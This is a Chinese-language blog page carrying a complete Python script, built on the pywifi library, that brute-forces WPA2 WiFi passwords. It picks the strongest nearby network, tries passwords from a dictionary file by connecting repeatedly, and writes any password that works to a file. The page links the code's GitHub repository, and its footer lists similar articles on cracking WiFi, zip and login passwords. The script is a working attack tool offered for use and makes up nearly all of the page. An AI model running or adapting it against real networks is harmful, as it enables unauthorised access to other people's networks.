python暴力破解wifi密码程序
import time
# 破解wifi库
import pywifi
from pywifi import const class PoJie(object): def __init__(self, path):
# wifi密码字典文件
self.file = open(path, 'r', errors='ignore')
# 抓取网卡接口
wifi = pywifi.PyWiFi()
# 抓取第一个网卡
self.iface = wifi.interfaces()[0]
# 测试连接时断开所有的链接
self.iface.disconnect()
time.sleep(1)
self.alist = self.initialssidnamelist()
# 测试是否处于断开状态
# assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] def bies(self):
# 扫描
self.iface.scan()
# 获取扫描结果
bessis = self.iface.scan_results()
alist = []
for data in bessis:
alist.append((data.ssid, data.signal))
# 按信号强度排序
return len(alist), sorted(alist, key=lambda st: st[1], reverse=True) def getsignal(self):
while True:
# 获取所有的wifi
n, data = self.bies()
time.sleep(1)
if n is not 0:
# 如果数量不为0,返回前10个信号最好的
return data[0:1] def initialssidnamelist(self):
ssidlist = self.getsignal()
namelist = []
# 获取前10个wifi的名称
for item in ssidlist:
print(item[0])
namelist.append(item[0])
return namelist def readPassword(self, ssidname, myStr):
# 测试wifi名和密码是否匹配
bool1 = self.test_connect(myStr, ssidname)
if len(myStr) < 8:
return False
if bool1:
# 保存密码和wifi名到文件中
save_password_to_file(myStr, ssidname)
print('------------------------------------------------密码正确: ' + myStr + '-----' + ssidname)
return True
else:
print('密码错误: ' + myStr + ' ' + ssidname)
return False def test_connect(self, findStr, ssidname):
"""
测试连接
:param findStr: 密码
:param ssidname: wifi名
"""
# 创建wifi链接文件
profile = pywifi.Profile()
# wifi名称
profile.ssid = ssidname
# 开放网卡
profile.auth = const.AUTH_ALG_OPEN
# wifi加密算法
profile.akm.append(const.AKM_TYPE_WPA2PSK)
# 加密单元
profile.cipher = const.CIPHER_TYPE_CCMP
# 密码
profile.key = findStr
# 删除所有的wifi文件
self.iface.remove_all_network_profiles()
# 设置新的链接文件
tmp_profile = self.iface.add_network_profile(profile)
# 连接
self.iface.connect(tmp_profile)
time.sleep(2)
# 判断是否已经连接上
if self.iface.status() == const.IFACE_CONNECTED:
isOk = True
else:
isOk = False
self.iface.disconnect()
time.sleep(1)
# 检查断开状态
assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] return isOk def run(self):
while True:
myStr = self.file.readline()
for ssidname in self.alist:
ret = self.readPassword(ssidname, myStr)
if ret:
raise FileExistsError def __del__(self):
self.file.close() def save_password_to_file(myStr, ssidname):
with open('password.txt', 'a') as fp:
fp.write(str(myStr) + '-->' + str(ssidname)) if __name__ == '__main__':
# 密码字典文件所在路径
path = 'D:\WIFI密码字典.txt'#此处是wifi密码字典文件的位置
start = PoJie(path)
start.run()
程序github地址:https://github.com/a15058713697/python-get-wifi-password
如果好用请给个star
python暴力破解wifi密码程序的更多相关文章
- 分享一个撩妹、装13神技能,0基础用Python暴力破解WiFi密码
WiFi密码Python暴力破解 Python密码破解部分截图 获取视频资料,转发此文+点击喜欢,然后获取资料请加Python交流群:580478401,就可以获取视频教程+源码 环境准备: py ...
- python暴力破解压缩包密码
啥也不说,直接上代码 #-*-coding:utf-8-*- import zipfile #生成1-999999的数字密码表, 要是有别的密码类型,对密码表改造一下就可以了,也可以上网下载某些类型的 ...
- 如何用python轻松破解wifi密码( 源码 )
摘要: 我得说明下这个东西一点都不高端,甚至看起来有点糟糕.而且用的是单线程~,因为过几天要搬家了,于是.. 环境准备 python2.7 凑合的linux 差不多的无线网卡 pywifi模块 弱口令 ...
- Python最新暴力破解WiFi,攻破所有密码限制,最强破解!
暴力破解wifi密码 这个代码也是非常简单,这里需要用Python中的pywifi这个库,所以需要在DOS命令下安装这个库,同样使用pip install pywifi,很简单就安装成功了,我用的是P ...
- 怎么破解Wifi密码
破解无络网络Wifi密码,让手机上Wifi不再受限. 方法/步骤 1 上网搜索并下载“Wfi万能钥匙”APK程序,然后将其安装到手机内存中.可以借助手机类管理软件将APK应用安装到手机中. 步骤阅读 ...
- 用 Python 破解 WiFi 密码
如今,WiFi 跟我们的生活息息相关,无处不在.没有 WiFi 的地方是没有灵魂的! 然而,比没有WiFi更让人绝望的,是有满格WiFi信号却没有密码…… 今天我们就来尝试下,如何利用pyth ...
- 牛逼了,用Python破解wifi密码
Python真的是无所不能,原因就是因为Python有数目庞大的库,无数的现成的轮子,让你做很多很多应用都非常方便.wifi跟我们的生活息息相关,无处不在.今天从WiFi连接的原理,再结合代码为大家详 ...
- Python破解Wifi密码思路
一.前言说明 本机运行环境:系统环境Win10,运行环境Python3.6,运行工具Pycharm 需要Python的包有:pywifi 这是一种暴力破解wifi的模式,需要的时间比较长,本文主要提供 ...
- python 暴力破解密码脚本
python 暴力破解密码脚本 以下,仅为个人测试代码,环境也是测试环境,暴力破解原理都是一样的, 假设要暴力破解登陆网站www.a.com 用户 testUser的密码, 首先,该网站登陆的验证要支 ...
随机推荐
- 原创|高逼格企业级MySQL数据库备份方案,原来是这样....
很多人,这里说的是运维工程师们,一提到写某某方案,很是头疼.不是上某度一统搜索,就是同样一句话在N个群全部群发一遍:“有没有某某方案,可以共享一下的吗??求助,各位大佬们”,估计十有八九,全部石沉大海 ...
- 2 手写Java LinkedList核心源码
上一章我们手写了ArrayList的核心源码,ArrayList底层是用了一个数组来保存数据,数组保存数据的优点就是查找效率高,但是删除效率特别低,最坏的情况下需要移动所有的元素.在查找需求比较重要的 ...
- js引用类型的赋值
在开发中,有时候需要将数组或者对象的值赋予其他另一个变量,但是两个变量之间会相互影响,因为在将引用类型的值赋给其他变量时,赋予的其实是内存中的存储地址 var arr = [1,2,3,4,5] va ...
- 动态加载dll
extern "C" MMUPDATENOTIFY_IMPEXP bool _cdecl NotifyThrift(char* chThriftIp, char* chPor) H ...
- 聪明的质监员(codevs 1138)
题目描述 Description 小 T 是一名质量监督员,最近负责检验一批矿产的质量.这批矿产共有n 个矿石,从1到n 逐一编号,每个矿石都有自己的重量wi 以及价值vi.检验矿产的流程是:见图 ...
- CF446B DZY Loves Modification 【思维/优先队列】By cellur925
题目传送门 题目大意:给一个 \(n*m\) 的矩阵,并进行 \(k\) 次操作,每次操作将矩阵的一行或一列的所有元素的值减 \(p\) ,得到的分数为这次修改之前这一列/一行的元素和,求分数最大值. ...
- vue教程1-初体验
起步 var vm = new Vue({ // 选项 }) #每个Vue应用都需要通过实例化Vue来实现,语法格式继承原生js <!DOCTYPE html> <html lang ...
- python学习之内部函数:
python内置函数表:https://docs.python.org/3/library/functions.html 1 判断数据类型的函数:isinstance(变量, 待要判断的类型) 2判断 ...
- Unity Shader入门精要学习笔记 - 第11章 让画面动起来
转自 冯乐乐的 <Unity Shader入门精要> Unity Shader 中的内置变量 动画效果往往都是把时间添加到一些变量的计算中,以便在时间变化时画面也可以随之变化.Unity ...
- Mysql之Union用法
在数据库中,UNION和UNION ALL关键字都是将两个结果集合并为一个,但这两者从使用和效率上来说都有所不同. MYSQL中的UNION UNION在进行表链接后会筛选掉重复的记录,所以在表链接后 ...